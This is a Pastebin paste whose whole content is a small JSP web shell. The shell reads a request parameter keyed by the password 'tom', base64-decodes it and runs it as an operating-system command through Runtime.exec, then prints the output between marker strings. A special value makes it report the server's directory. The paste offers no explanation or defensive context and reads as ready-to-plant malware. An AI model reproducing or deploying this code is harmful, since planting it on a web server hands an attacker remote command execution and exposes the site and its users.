Advertisement
Guest User

Untitled

a guest
Jul 24th, 2017
44
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.15 KB | None | 0 0
  1. <%@page import="java.io.*" %>
  2. <%@page import="sun.misc.BASE64Decoder" %>
  3. <%
  4. try {
  5. String pass = "tom";
  6. if (request.getParameterValues(pass) != null) {
  7. String cmd = request.getParameter(pass);
  8. String path = application.getRealPath(request.getRequestURI());
  9. String dir = new File(path).getParent();
  10. if (cmd.equals("Szh0ZWFt")) {
  11. out.print("[S]" + dir + "[E]");
  12. return;
  13. }
  14. byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);
  15. String binastr = new String(binary);
  16. Process child = Runtime.getRuntime().exec(binastr);
  17. InputStream in = child.getInputStream();
  18. out.print("->|");
  19. int c;
  20. while ((c = in.read()) != -1) {
  21. out.print((char) c);
  22. }
  23. in.close();
  24. out.print("|<-");
  25. try {
  26. child.waitFor();
  27. } catch (InterruptedException e) {
  28. e.printStackTrace();
  29. }
  30. }
  31. } catch (IOException e) {
  32. System.err.println(e);
  33. }
  34. %><a href="CMD_OK"></a>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement